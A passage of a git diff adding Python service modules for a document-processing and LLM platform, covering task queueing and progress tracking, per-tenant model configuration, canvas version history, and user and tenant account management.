+ .where(cls.model.id == task_id)
+ )
+ docs = list(docs.dicts())
+ if not docs:
+ return None
+
+ msg = f"\n{datetime.now().strftime('%H:%M:%S')} Task has been received."
+ prog = random.random() / 10.0
+ if docs[0]["retry_count"] >= 3:
+ msg = "\nERROR: Task is abandoned after 3 times attempts."
+ prog = -1
+
+ cls.model.update(
+ progress_msg=cls.model.progress_msg + msg,
+ progress=prog,
+ retry_count=docs[0]["retry_count"] + 1,
+ ).where(cls.model.id == docs[0]["id"]).execute()
+
+ if docs[0]["retry_count"] >= 3:
+ return None
+
+ return docs[0]
+
+ @classmethod
+ @DB.connection_context()
+ def get_tasks(cls, doc_id: str):
+ """Retrieve all tasks associated with a document.
+
+ This method fetches all processing tasks for a given document, ordered by page
+ number and creation time. It includes task progress and chunk information.
+
+ Args:
+ doc_id (str): The unique identifier of the document.
+
+ Returns:
+ list[dict]: List of task dictionaries containing task details.
+ Returns None if no tasks are found.
+ """
+ fields = [
+ cls.model.id,
+ cls.model.from_page,
+ cls.model.progress,
+ cls.model.digest,
+ cls.model.chunk_ids,
+ ]
+ tasks = (
+ cls.model.select(*fields).order_by(cls.model.from_page.asc(), cls.model.create_time.desc())
+ .where(cls.model.doc_id == doc_id)
+ )
+ tasks = list(tasks.dicts())
+ if not tasks:
+ return None
+ return tasks
+
+ @classmethod
+ @DB.connection_context()
+ def update_chunk_ids(cls, id: str, chunk_ids: str):
+ """Update the chunk IDs associated with a task.
+
+ This method updates the chunk_ids field of a task, which stores the IDs of
+ processed document chunks in a space-separated string format.
+
+ Args:
+ id (str): The unique identifier of the task.
+ chunk_ids (str): Space-separated string of chunk identifiers.
+ """
+ cls.model.update(chunk_ids=chunk_ids).where(cls.model.id == id).execute()
+
+ @classmethod
+ @DB.connection_context()
+ def get_ongoing_doc_name(cls):
+ """Get names of documents that are currently being processed.
+
+ This method retrieves information about documents that are in the processing state,
+ including their locations and associated IDs. It uses database locking to ensure
+ thread safety when accessing the task information.
+
+ Returns:
+ list[tuple]: A list of tuples, each containing (parent_id/kb_id, location)
+ for documents currently being processed. Returns empty list if
+ no documents are being processed.
+ """
+ with DB.lock("get_task", -1):
+ docs = (
+ cls.model.select(
+ *[Document.id, Document.kb_id, Document.location, File.parent_id]
+ )
+ .join(Document, on=(cls.model.doc_id == Document.id))
+ .join(
+ File2Document,
+ on=(File2Document.document_id == Document.id),
+ join_type=JOIN.LEFT_OUTER,
+ )
+ .join(
+ File,
+ on=(File2Document.file_id == File.id),
+ join_type=JOIN.LEFT_OUTER,
+ )
+ .where(
+ Document.status == StatusEnum.VALID.value,
+ Document.run == TaskStatus.RUNNING.value,
+ ~(Document.type == FileType.VIRTUAL.value),
+ cls.model.progress < 1,
+ cls.model.create_time >= current_timestamp() - 1000 * 600,
+ )
+ )
+ docs = list(docs.dicts())
+ if not docs:
+ return []
+
+ return list(
+ set(
+ [
+ (
+ d["parent_id"] if d["parent_id"] else d["kb_id"],
+ d["location"],
+ )
+ for d in docs
+ ]
+ )
+ )
+
+ @classmethod
+ @DB.connection_context()
+ def do_cancel(cls, id):
+ """Check if a task should be cancelled based on its document status.
+
+ This method determines whether a task should be cancelled by checking the
+ associated document's run status and progress. A task should be cancelled
+ if its document is marked for cancellation or has negative progress.
+
+ Args:
+ id (str): The unique identifier of the task to check.
+
+ Returns:
+ bool: True if the task should be cancelled, False otherwise.
+ """
+ task = cls.model.get_by_id(id)
+ _, doc = DocumentService.get_by_id(task.doc_id)
+ return doc.run == TaskStatus.CANCEL.value or doc.progress < 0
+
+ @classmethod
+ @DB.connection_context()
+ def update_progress(cls, id, info):
+ """Update the progress information for a task.
+
+ This method updates both the progress message and completion percentage of a task.
+ It handles platform-specific behavior (macOS vs others) and uses database locking
+ when necessary to ensure thread safety.
+
+ Update Rules:
+ - progress_msg: Always appends the new message to the existing one, and trims the result to max 3000 lines.
+ - progress: Only updates if the current progress is not -1 AND
+ (the new progress is -1 OR greater than the existing progress),
+ to avoid overwriting valid progress with invalid or regressive values.
+
+ Args:
+ id (str): The unique identifier of the task to update.
+ info (dict): Dictionary containing progress information with keys:
+ - progress_msg (str, optional): Progress message to append
+ - progress (float, optional): Progress percentage (0.0 to 1.0)
+ """
+ task = cls.model.get_by_id(id)
+ if not task:
+ logging.warning("Update_progress error: task not found")
+ return
+
+ if os.environ.get("MACOS"):
+ if info["progress_msg"]:
+ progress_msg = trim_header_by_lines(task.progress_msg + "\n" + info["progress_msg"], 3000)
+ cls.model.update(progress_msg=progress_msg).where(cls.model.id == id).execute()
+ if "progress" in info:
+ prog = info["progress"]
+ cls.model.update(progress=prog).where(
+ (cls.model.id == id) &
+ (
+ (cls.model.progress != -1) &
+ ((prog == -1) | (prog > cls.model.progress))
+ )
+ ).execute()
+ else:
+ with DB.lock("update_progress", -1):
+ if info["progress_msg"]:
+ progress_msg = trim_header_by_lines(task.progress_msg + "\n" + info["progress_msg"], 3000)
+ cls.model.update(progress_msg=progress_msg).where(cls.model.id == id).execute()
+ if "progress" in info:
+ prog = info["progress"]
+ cls.model.update(progress=prog).where(
+ (cls.model.id == id) &
+ (
+ (cls.model.progress != -1) &
+ ((prog == -1) | (prog > cls.model.progress))
+ )
+ ).execute()
+
+ process_duration = (datetime.now() - task.begin_at).total_seconds()
+ cls.model.update(process_duration=process_duration).where(cls.model.id == id).execute()
+
+ @classmethod
+ @DB.connection_context()
+ def delete_by_doc_ids(cls, doc_ids):
+ """Delete task associated with a document."""
+ return cls.model.delete().where(cls.model.doc_id.in_(doc_ids)).execute()
+
+
+def queue_tasks(doc: dict, bucket: str, name: str, priority: int):
+ """Create and queue document processing tasks.
+
+ This function creates processing tasks for a document based on its type and configuration.
+ It handles different document types (PDF, Excel, etc.) differently and manages task
+ chunking and configuration. It also implements task reuse optimization by checking
+ for previously completed tasks.
+
+ Args:
+ doc (dict): Document dictionary containing metadata and configuration.
+ bucket (str): Storage bucket name where the document is stored.
+ name (str): File name of the document.
+ priority (int, optional): Priority level for task queueing (default is 0).
+
+ Note:
+ - For PDF documents, tasks are created per page range based on configuration
+ - For Excel documents, tasks are created per row range
+ - Task digests are calculated for optimization and reuse
+ - Previous task chunks may be reused if available
+ """
+ def new_task():
+ return {
+ "id": get_uuid(),
+ "doc_id": doc["id"],
+ "progress": 0.0,
+ "from_page": 0,
+ "to_page": 100000000,
+ "begin_at": datetime.now(),
+ }
+
+ parse_task_array = []
+
+ if doc["type"] == FileType.PDF.value:
+ file_bin = STORAGE_IMPL.get(bucket, name)
+ do_layout = doc["parser_config"].get("layout_recognize", "DeepDOC")
+ pages = PdfParser.total_page_number(doc["name"], file_bin)
+ if pages is None:
+ pages = 0
+ page_size = doc["parser_config"].get("task_page_size") or 12
+ if doc["parser_id"] == "paper":
+ page_size = doc["parser_config"].get("task_page_size") or 22
+ if doc["parser_id"] in ["one", "knowledge_graph"] or do_layout != "DeepDOC" or doc["parser_config"].get("toc", True):
+ page_size = 10 ** 9
+ page_ranges = doc["parser_config"].get("pages") or [(1, 10 ** 5)]
+ for s, e in page_ranges:
+ s -= 1
+ s = max(0, s)
+ e = min(e - 1, pages)
+ for p in range(s, e, page_size):
+ task = new_task()
+ task["from_page"] = p
+ task["to_page"] = min(p + page_size, e)
+ parse_task_array.append(task)
+
+ elif doc["parser_id"] == "table":
+ file_bin = STORAGE_IMPL.get(bucket, name)
+ rn = RAGFlowExcelParser.row_number(doc["name"], file_bin)
+ for i in range(0, rn, 3000):
+ task = new_task()
+ task["from_page"] = i
+ task["to_page"] = min(i + 3000, rn)
+ parse_task_array.append(task)
+ else:
+ parse_task_array.append(new_task())
+
+ chunking_config = DocumentService.get_chunking_config(doc["id"])
+ for task in parse_task_array:
+ hasher = xxhash.xxh64()
+ for field in sorted(chunking_config.keys()):
+ if field == "parser_config":
+ for k in ["raptor", "graphrag"]:
+ if k in chunking_config[field]:
+ del chunking_config[field][k]
+ hasher.update(str(chunking_config[field]).encode("utf-8"))
+ for field in ["doc_id", "from_page", "to_page"]:
+ hasher.update(str(task.get(field, "")).encode("utf-8"))
+ task_digest = hasher.hexdigest()
+ task["digest"] = task_digest
+ task["progress"] = 0.0
+ task["priority"] = priority
+
+ prev_tasks = TaskService.get_tasks(doc["id"])
+ ck_num = 0
+ if prev_tasks:
+ for task in parse_task_array:
+ ck_num += reuse_prev_task_chunks(task, prev_tasks, chunking_config)
+ TaskService.filter_delete([Task.doc_id == doc["id"]])
+ pre_chunk_ids = []
+ for pre_task in prev_tasks:
+ if pre_task["chunk_ids"]:
+ pre_chunk_ids.extend(pre_task["chunk_ids"].split())
+ if pre_chunk_ids:
+ settings.docStoreConn.delete({"id": pre_chunk_ids}, search.index_name(chunking_config["tenant_id"]),
+ chunking_config["kb_id"])
+ DocumentService.update_by_id(doc["id"], {"chunk_num": ck_num})
+
+ bulk_insert_into_db(Task, parse_task_array, True)
+ DocumentService.begin2parse(doc["id"])
+
+ unfinished_task_array = [task for task in parse_task_array if task["progress"] < 1.0]
+ for unfinished_task in unfinished_task_array:
+ assert REDIS_CONN.queue_product(
+ get_svr_queue_name(priority), message=unfinished_task
+ ), "Can't access Redis. Please check the Redis' status."
+
+
+def reuse_prev_task_chunks(task: dict, prev_tasks: list[dict], chunking_config: dict):
+ """Attempt to reuse chunks from previous tasks for optimization.
+
+ This function checks if chunks from previously completed tasks can be reused for
+ the current task, which can significantly improve processing efficiency. It matches
+ tasks based on page ranges and configuration digests.
+
+ Args:
+ task (dict): Current task dictionary to potentially reuse chunks for.
+ prev_tasks (list[dict]): List of previous task dictionaries to check for reuse.
+ chunking_config (dict): Configuration dictionary for chunk processing.
+
+ Returns:
+ int: Number of chunks successfully reused. Returns 0 if no chunks could be reused.
+
+ Note:
+ Chunks can only be reused if:
+ - A previous task exists with matching page range and configuration digest
+ - The previous task was completed successfully (progress = 1.0)
+ - The previous task has valid chunk IDs
+ """
+ idx = 0
+ while idx < len(prev_tasks):
+ prev_task = prev_tasks[idx]
+ if prev_task.get("from_page", 0) == task.get("from_page", 0) \
+ and prev_task.get("digest", 0) == task.get("digest", ""):
+ break
+ idx += 1
+
+ if idx >= len(prev_tasks):
+ return 0
+ prev_task = prev_tasks[idx]
+ if prev_task["progress"] < 1.0 or not prev_task["chunk_ids"]:
+ return 0
+ task["chunk_ids"] = prev_task["chunk_ids"]
+ task["progress"] = 1.0
+ if "from_page" in task and "to_page" in task and int(task['to_page']) - int(task['from_page']) >= 10 ** 6:
+ task["progress_msg"] = f"Page({task['from_page']}~{task['to_page']}): "
+ else:
+ task["progress_msg"] = ""
+ task["progress_msg"] = " ".join(
+ [datetime.now().strftime("%H:%M:%S"), task["progress_msg"], "Reused previous task's chunks."])
+ prev_task["chunk_ids"] = ""
+
+ return len(task["chunk_ids"].split())
+
+
+def cancel_all_task_of(doc_id):
+ for t in TaskService.query(doc_id=doc_id):
+ try:
+ REDIS_CONN.set(f"{t.id}-cancel", "x")
+ except Exception as e:
+ logging.exception(e)
+
+
+def has_canceled(task_id):
+ try:
+ if REDIS_CONN.get(f"{task_id}-cancel"):
+ return True
+ except Exception as e:
+ logging.exception(e)
+ return False
+
+
+def queue_dataflow(tenant_id:str, flow_id:str, task_id:str, doc_id:str=CANVAS_DEBUG_DOC_ID, file:dict=None, priority: int=0, rerun:bool=False) -> tuple[bool, str]:
+
+ task = dict(
+ id=task_id,
+ doc_id=doc_id,
+ from_page=0,
+ to_page=100000000,
+ task_type="dataflow" if not rerun else "dataflow_rerun",
+ priority=priority,
+ begin_at=datetime.now(),
+ )
+ if doc_id not in [CANVAS_DEBUG_DOC_ID, GRAPH_RAPTOR_FAKE_DOC_ID]:
+ TaskService.model.delete().where(TaskService.model.doc_id == doc_id).execute()
+ DocumentService.begin2parse(doc_id)
+ bulk_insert_into_db(model=Task, data_source=[task], replace_on_conflict=True)
+
+ task["kb_id"] = DocumentService.get_knowledgebase_id(doc_id)
+ task["tenant_id"] = tenant_id
+ task["dataflow_id"] = flow_id
+ task["file"] = file
+
+ if not REDIS_CONN.queue_product(
+ get_svr_queue_name(priority), message=task
+ ):
+ return False, "Can't access Redis. Please check the Redis' status."
+
+ return True, ""
diff --git a/api/db/services/tenant_llm_service.py b/api/db/services/tenant_llm_service.py
new file mode 100644
index 0000000..4eca970
--- /dev/null
+++ b/api/db/services/tenant_llm_service.py
@@ -0,0 +1,257 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import logging
+from langfuse import Langfuse
+from api import settings
+from api.db import LLMType
+from api.db.db_models import DB, LLMFactories, TenantLLM
+from api.db.services.common_service import CommonService
+from api.db.services.langfuse_service import TenantLangfuseService
+from api.db.services.user_service import TenantService
+from rag.llm import ChatModel, CvModel, EmbeddingModel, RerankModel, Seq2txtModel, TTSModel
+
+
+class LLMFactoriesService(CommonService):
+ model = LLMFactories
+
+
+class TenantLLMService(CommonService):
+ model = TenantLLM
+
+ @classmethod
+ @DB.connection_context()
+ def get_api_key(cls, tenant_id, model_name):
+ mdlnm, fid = TenantLLMService.split_model_name_and_factory(model_name)
+ if not fid:
+ objs = cls.query(tenant_id=tenant_id, llm_name=mdlnm)
+ else:
+ objs = cls.query(tenant_id=tenant_id, llm_name=mdlnm, llm_factory=fid)
+
+ if (not objs) and fid:
+ if fid == "LocalAI":
+ mdlnm += "___LocalAI"
+ elif fid == "HuggingFace":
+ mdlnm += "___HuggingFace"
+ elif fid == "OpenAI-API-Compatible":
+ mdlnm += "___OpenAI-API"
+ elif fid == "VLLM":
+ mdlnm += "___VLLM"
+ objs = cls.query(tenant_id=tenant_id, llm_name=mdlnm, llm_factory=fid)
+ if not objs:
+ return
+ return objs[0]
+
+ @classmethod
+ @DB.connection_context()
+ def get_my_llms(cls, tenant_id):
+ fields = [cls.model.llm_factory, LLMFactories.logo, LLMFactories.tags, cls.model.model_type, cls.model.llm_name, cls.model.used_tokens]
+ objs = cls.model.select(*fields).join(LLMFactories, on=(cls.model.llm_factory == LLMFactories.name)).where(cls.model.tenant_id == tenant_id, ~cls.model.api_key.is_null()).dicts()
+
+ return list(objs)
+
+ @staticmethod
+ def split_model_name_and_factory(model_name):
+ arr = model_name.split("@")
+ if len(arr) < 2:
+ return model_name, None
+ if len(arr) > 2:
+ return "@".join(arr[0:-1]), arr[-1]
+
+ # model name must be xxx@yyy
+ try:
+ model_factories = settings.FACTORY_LLM_INFOS
+ model_providers = set([f["name"] for f in model_factories])
+ if arr[-1] not in model_providers:
+ return model_name, None
+ return arr[0], arr[-1]
+ except Exception as e:
+ logging.exception(f"TenantLLMService.split_model_name_and_factory got exception: {e}")
+ return model_name, None
+
+ @classmethod
+ @DB.connection_context()
+ def get_model_config(cls, tenant_id, llm_type, llm_name=None):
+ from api.db.services.llm_service import LLMService
+ e, tenant = TenantService.get_by_id(tenant_id)
+ if not e:
+ raise LookupError("Tenant not found")
+
+ if llm_type == LLMType.EMBEDDING.value:
+ mdlnm = tenant.embd_id if not llm_name else llm_name
+ elif llm_type == LLMType.SPEECH2TEXT.value:
+ mdlnm = tenant.asr_id
+ elif llm_type == LLMType.IMAGE2TEXT.value:
+ mdlnm = tenant.img2txt_id if not llm_name else llm_name
+ elif llm_type == LLMType.CHAT.value:
+ mdlnm = tenant.llm_id if not llm_name else llm_name
+ elif llm_type == LLMType.RERANK:
+ mdlnm = tenant.rerank_id if not llm_name else llm_name
+ elif llm_type == LLMType.TTS:
+ mdlnm = tenant.tts_id if not llm_name else llm_name
+ else:
+ assert False, "LLM type error"
+
+ model_config = cls.get_api_key(tenant_id, mdlnm)
+ mdlnm, fid = TenantLLMService.split_model_name_and_factory(mdlnm)
+ if not model_config: # for some cases seems fid mismatch
+ model_config = cls.get_api_key(tenant_id, mdlnm)
+ if model_config:
+ model_config = model_config.to_dict()
+ llm = LLMService.query(llm_name=mdlnm) if not fid else LLMService.query(llm_name=mdlnm, fid=fid)
+ if not llm and fid: # for some cases seems fid mismatch
+ llm = LLMService.query(llm_name=mdlnm)
+ if llm:
+ model_config["is_tools"] = llm[0].is_tools
+ if not model_config:
+ if llm_type in [LLMType.EMBEDDING, LLMType.RERANK]:
+ llm = LLMService.query(llm_name=mdlnm) if not fid else LLMService.query(llm_name=mdlnm, fid=fid)
+ if llm and llm[0].fid in ["Youdao", "FastEmbed", "BAAI"]:
+ model_config = {"llm_factory": llm[0].fid, "api_key": "", "llm_name": mdlnm, "api_base": ""}
+ if not model_config:
+ if mdlnm == "flag-embedding":
+ model_config = {"llm_factory": "Tongyi-Qianwen", "api_key": "", "llm_name": llm_name, "api_base": ""}
+ else:
+ if not mdlnm:
+ raise LookupError(f"Type of {llm_type} model is not set.")
+ raise LookupError("Model({}) not authorized".format(mdlnm))
+ return model_config
+
+ @classmethod
+ @DB.connection_context()
+ def model_instance(cls, tenant_id, llm_type, llm_name=None, lang="Chinese", **kwargs):
+ model_config = TenantLLMService.get_model_config(tenant_id, llm_type, llm_name)
+ kwargs.update({"provider": model_config["llm_factory"]})
+ if llm_type == LLMType.EMBEDDING.value:
+ if model_config["llm_factory"] not in EmbeddingModel:
+ return
+ return EmbeddingModel[model_config["llm_factory"]](model_config["api_key"], model_config["llm_name"], base_url=model_config["api_base"])
+
+ if llm_type == LLMType.RERANK:
+ if model_config["llm_factory"] not in RerankModel:
+ return
+ return RerankModel[model_config["llm_factory"]](model_config["api_key"], model_config["llm_name"], base_url=model_config["api_base"])
+
+ if llm_type == LLMType.IMAGE2TEXT.value:
+ if model_config["llm_factory"] not in CvModel:
+ return
+ return CvModel[model_config["llm_factory"]](model_config["api_key"], model_config["llm_name"], lang, base_url=model_config["api_base"], **kwargs)
+
+ if llm_type == LLMType.CHAT.value:
+ if model_config["llm_factory"] not in ChatModel:
+ return
+ return ChatModel[model_config["llm_factory"]](model_config["api_key"], model_config["llm_name"], base_url=model_config["api_base"], **kwargs)
+
+ if llm_type == LLMType.SPEECH2TEXT:
+ if model_config["llm_factory"] not in Seq2txtModel:
+ return
+ return Seq2txtModel[model_config["llm_factory"]](key=model_config["api_key"], model_name=model_config["llm_name"], lang=lang, base_url=model_config["api_base"])
+ if llm_type == LLMType.TTS:
+ if model_config["llm_factory"] not in TTSModel:
+ return
+ return TTSModel[model_config["llm_factory"]](
+ model_config["api_key"],
+ model_config["llm_name"],
+ base_url=model_config["api_base"],
+ )
+
+ @classmethod
+ @DB.connection_context()
+ def increase_usage(cls, tenant_id, llm_type, used_tokens, llm_name=None):
+ e, tenant = TenantService.get_by_id(tenant_id)
+ if not e:
+ logging.error(f"Tenant not found: {tenant_id}")
+ return 0
+
+ llm_map = {
+ LLMType.EMBEDDING.value: tenant.embd_id if not llm_name else llm_name,
+ LLMType.SPEECH2TEXT.value: tenant.asr_id,
+ LLMType.IMAGE2TEXT.value: tenant.img2txt_id,
+ LLMType.CHAT.value: tenant.llm_id if not llm_name else llm_name,
+ LLMType.RERANK.value: tenant.rerank_id if not llm_name else llm_name,
+ LLMType.TTS.value: tenant.tts_id if not llm_name else llm_name,
+ }
+
+ mdlnm = llm_map.get(llm_type)
+ if mdlnm is None:
+ logging.error(f"LLM type error: {llm_type}")
+ return 0
+
+ llm_name, llm_factory = TenantLLMService.split_model_name_and_factory(mdlnm)
+
+ try:
+ num = (
+ cls.model.update(used_tokens=cls.model.used_tokens + used_tokens)
+ .where(cls.model.tenant_id == tenant_id, cls.model.llm_name == llm_name, cls.model.llm_factory == llm_factory if llm_factory else True)
+ .execute()
+ )
+ except Exception:
+ logging.exception("TenantLLMService.increase_usage got exception,Failed to update used_tokens for tenant_id=%s, llm_name=%s", tenant_id, llm_name)
+ return 0
+
+ return num
+
+ @classmethod
+ @DB.connection_context()
+ def get_openai_models(cls):
+ objs = cls.model.select().where((cls.model.llm_factory == "OpenAI"), ~(cls.model.llm_name == "text-embedding-3-small"), ~(cls.model.llm_name == "text-embedding-3-large")).dicts()
+ return list(objs)
+
+ @classmethod
+ @DB.connection_context()
+ def delete_by_tenant_id(cls, tenant_id):
+ return cls.model.delete().where(cls.model.tenant_id == tenant_id).execute()
+
+ @staticmethod
+ def llm_id2llm_type(llm_id: str) -> str | None:
+ from api.db.services.llm_service import LLMService
+ llm_id, *_ = TenantLLMService.split_model_name_and_factory(llm_id)
+ llm_factories = settings.FACTORY_LLM_INFOS
+ for llm_factory in llm_factories:
+ for llm in llm_factory["llm"]:
+ if llm_id == llm["llm_name"]:
+ return llm["model_type"].split(",")[-1]
+
+ for llm in LLMService.query(llm_name=llm_id):
+ return llm.model_type
+
+ llm = TenantLLMService.get_or_none(llm_name=llm_id)
+ if llm:
+ return llm.model_type
+ for llm in TenantLLMService.query(llm_name=llm_id):
+ return llm.model_type
+
+
+class LLM4Tenant:
+ def __init__(self, tenant_id, llm_type, llm_name=None, lang="Chinese", **kwargs):
+ self.tenant_id = tenant_id
+ self.llm_type = llm_type
+ self.llm_name = llm_name
+ self.mdl = TenantLLMService.model_instance(tenant_id, llm_type, llm_name, lang=lang, **kwargs)
+ assert self.mdl, "Can't find model for {}/{}/{}".format(tenant_id, llm_type, llm_name)
+ model_config = TenantLLMService.get_model_config(tenant_id, llm_type, llm_name)
+ self.max_length = model_config.get("max_tokens", 8192)
+
+ self.is_tools = model_config.get("is_tools", False)
+ self.verbose_tool_use = kwargs.get("verbose_tool_use")
+
+ langfuse_keys = TenantLangfuseService.filter_by_tenant(tenant_id=tenant_id)
+ self.langfuse = None
+ if langfuse_keys:
+ langfuse = Langfuse(public_key=langfuse_keys.public_key, secret_key=langfuse_keys.secret_key, host=langfuse_keys.host)
+ if langfuse.auth_check():
+ self.langfuse = langfuse
+ trace_id = self.langfuse.create_trace_id()
+ self.trace_context = {"trace_id": trace_id}
\ No newline at end of file
diff --git a/api/db/services/user_canvas_version.py b/api/db/services/user_canvas_version.py
new file mode 100644
index 0000000..9696a78
--- /dev/null
+++ b/api/db/services/user_canvas_version.py
@@ -0,0 +1,63 @@
+from api.db.db_models import UserCanvasVersion, DB
+from api.db.services.common_service import CommonService
+from peewee import DoesNotExist
+
+class UserCanvasVersionService(CommonService):
+ model = UserCanvasVersion
+
+
+ @classmethod
+ @DB.connection_context()
+ def list_by_canvas_id(cls, user_canvas_id):
+ try:
+ user_canvas_version = cls.model.select(
+ *[cls.model.id,
+ cls.model.create_time,
+ cls.model.title,
+ cls.model.create_date,
+ cls.model.update_date,
+ cls.model.user_canvas_id,
+ cls.model.update_time]
+ ).where(cls.model.user_canvas_id == user_canvas_id)
+ return user_canvas_version
+ except DoesNotExist:
+ return None
+ except Exception:
+ return None
+
+ @classmethod
+ @DB.connection_context()
+ def get_all_canvas_version_by_canvas_ids(cls, canvas_ids):
+ fields = [cls.model.id]
+ versions = cls.model.select(*fields).where(cls.model.user_canvas_id.in_(canvas_ids))
+ versions.order_by(cls.model.create_time.asc())
+ offset, limit = 0, 100
+ res = []
+ while True:
+ version_batch = versions.offset(offset).limit(limit)
+ _temp = list(version_batch.dicts())
+ if not _temp:
+ break
+ res.extend(_temp)
+ offset += limit
+ return res
+
+ @classmethod
+ @DB.connection_context()
+ def delete_all_versions(cls, user_canvas_id):
+ try:
+ user_canvas_version = cls.model.select().where(cls.model.user_canvas_id == user_canvas_id).order_by(cls.model.create_time.desc())
+ if user_canvas_version.count() > 20:
+ delete_ids = []
+ for i in range(20, user_canvas_version.count()):
+ delete_ids.append(user_canvas_version[i].id)
+
+ cls.delete_by_ids(delete_ids)
+ return True
+ except DoesNotExist:
+ return None
+ except Exception:
+ return None
+
+
+
diff --git a/api/db/services/user_service.py b/api/db/services/user_service.py
new file mode 100644
index 0000000..00fb837
--- /dev/null
+++ b/api/db/services/user_service.py
@@ -0,0 +1,318 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import hashlib
+from datetime import datetime
+import logging
+
+import peewee
+from werkzeug.security import generate_password_hash, check_password_hash
+
+from api.db import UserTenantRole
+from api.db.db_models import DB, UserTenant
+from api.db.db_models import User, Tenant
+from api.db.services.common_service import CommonService
+from api.utils import get_uuid, current_timestamp, datetime_format
+from api.db import StatusEnum
+from rag.settings import MINIO
+
+
+class UserService(CommonService):
+ """Service class for managing user-related database operations.
+
+ This class extends CommonService to provide specialized functionality for user management,
+ including authentication, user creation, updates, and deletions.
+
+ Attributes:
+ model: The User model class for database operations.
+ """
+ model = User
+
+ @classmethod
+ @DB.connection_context()
+ def query(cls, cols=None, reverse=None, order_by=None, **kwargs):
+ if 'access_token' in kwargs:
+ access_token = kwargs['access_token']
+
+ # Reject empty, None, or whitespace-only access tokens
+ if not access_token or not str(access_token).strip():
+ logging.warning("UserService.query: Rejecting empty access_token query")
+ return cls.model.select().where(cls.model.id == "INVALID_EMPTY_TOKEN") # Returns empty result
+
+ # Reject tokens that are too short (should be UUID, 32+ chars)
+ if len(str(access_token).strip()) < 32:
+ logging.warning(f"UserService.query: Rejecting short access_token query: {len(str(access_token))} chars")
+ return cls.model.select().where(cls.model.id == "INVALID_SHORT_TOKEN") # Returns empty result
+
+ # Reject tokens that start with "INVALID_" (from logout)
+ if str(access_token).startswith("INVALID_"):
+ logging.warning("UserService.query: Rejecting invalidated access_token")
+ return cls.model.select().where(cls.model.id == "INVALID_LOGOUT_TOKEN") # Returns empty result
+
+ # Call parent query method for valid requests
+ return super().query(cols=cols, reverse=reverse, order_by=order_by, **kwargs)
+
+ @classmethod
+ @DB.connection_context()
+ def filter_by_id(cls, user_id):
+ """Retrieve a user by their ID.
+
+ Args:
+ user_id: The unique identifier of the user.
+
+ Returns:
+ User object if found, None otherwise.
+ """
+ try:
+ user = cls.model.select().where(cls.model.id == user_id).get()
+ return user
+ except peewee.DoesNotExist:
+ return None
+
+ @classmethod
+ @DB.connection_context()
+ def query_user(cls, email, password):
+ """Authenticate a user with email and password.
+
+ Args:
+ email: User's email address.
+ password: User's password in plain text.
+
+ Returns:
+ User object if authentication successful, None otherwise.
+ """
+ user = cls.model.select().where((cls.model.email == email),
+ (cls.model.status == StatusEnum.VALID.value)).first()
+ if user and check_password_hash(str(user.password), password):
+ return user
+ else:
+ return None
+
+ @classmethod
+ @DB.connection_context()
+ def query_user_by_email(cls, email):
+ users = cls.model.select().where((cls.model.email == email))
+ return list(users)
+
+ @classmethod
+ @DB.connection_context()
+ def save(cls, **kwargs):
+ if "id" not in kwargs:
+ kwargs["id"] = get_uuid()
+ if "password" in kwargs:
+ kwargs["password"] = generate_password_hash(
+ str(kwargs["password"]))
+
+ kwargs["create_time"] = current_timestamp()
+ kwargs["create_date"] = datetime_format(datetime.now())
+ kwargs["update_time"] = current_timestamp()
+ kwargs["update_date"] = datetime_format(datetime.now())
+ obj = cls.model(**kwargs).save(force_insert=True)
+ return obj
+
+ @classmethod
+ @DB.connection_context()
+ def delete_user(cls, user_ids, update_user_dict):
+ with DB.atomic():
+ cls.model.update({"status": 0}).where(
+ cls.model.id.in_(user_ids)).execute()
+
+ @classmethod
+ @DB.connection_context()
+ def update_user(cls, user_id, user_dict):
+ with DB.atomic():
+ if user_dict:
+ user_dict["update_time"] = current_timestamp()
+ user_dict["update_date"] = datetime_format(datetime.now())
+ cls.model.update(user_dict).where(
+ cls.model.id == user_id).execute()
+
+ @classmethod
+ @DB.connection_context()
+ def update_user_password(cls, user_id, new_password):
+ with DB.atomic():
+ update_dict = {
+ "password": generate_password_hash(str(new_password)),
+ "update_time": current_timestamp(),
+ "update_date": datetime_format(datetime.now())
+ }
+ cls.model.update(update_dict).where(cls.model.id == user_id).execute()
+
+ @classmethod
+ @DB.connection_context()
+ def is_admin(cls, user_id):
+ return cls.model.select().where(
+ cls.model.id == user_id,
+ cls.model.is_superuser == 1).count() > 0
+
+ @classmethod
+ @DB.connection_context()
+ def get_all_users(cls):
+ users = cls.model.select()
+ return list(users)
+
+
+class TenantService(CommonService):
+ """Service class for managing tenant-related database operations.
+
+ This class extends CommonService to provide functionality for tenant management,
+ including tenant information retrieval and credit management.
+
+ Attributes:
+ model: The Tenant model class for database operations.
+ """
+ model = Tenant
+
+ @classmethod
+ @DB.connection_context()
+ def get_info_by(cls, user_id):
+ fields = [
+ cls.model.id.alias("tenant_id"),
+ cls.model.name,
+ cls.model.llm_id,
+ cls.model.embd_id,
+ cls.model.rerank_id,
+ cls.model.asr_id,
+ cls.model.img2txt_id,
+ cls.model.tts_id,
+ cls.model.parser_ids,
+ UserTenant.role]
+ return list(cls.model.select(*fields)
+ .join(UserTenant, on=((cls.model.id == UserTenant.tenant_id) & (UserTenant.user_id == user_id) & (UserTenant.status == StatusEnum.VALID.value) & (UserTenant.role == UserTenantRole.OWNER)))
+ .where(cls.model.status == StatusEnum.VALID.value).dicts())
+
+ @classmethod
+ @DB.connection_context()
+ def get_joined_tenants_by_user_id(cls, user_id):
+ fields = [
+ cls.model.id.alias("tenant_id"),
+ cls.model.name,
+ cls.model.llm_id,
+ cls.model.embd_id,
+ cls.model.asr_id,
+ cls.model.img2txt_id,
+ UserTenant.role]
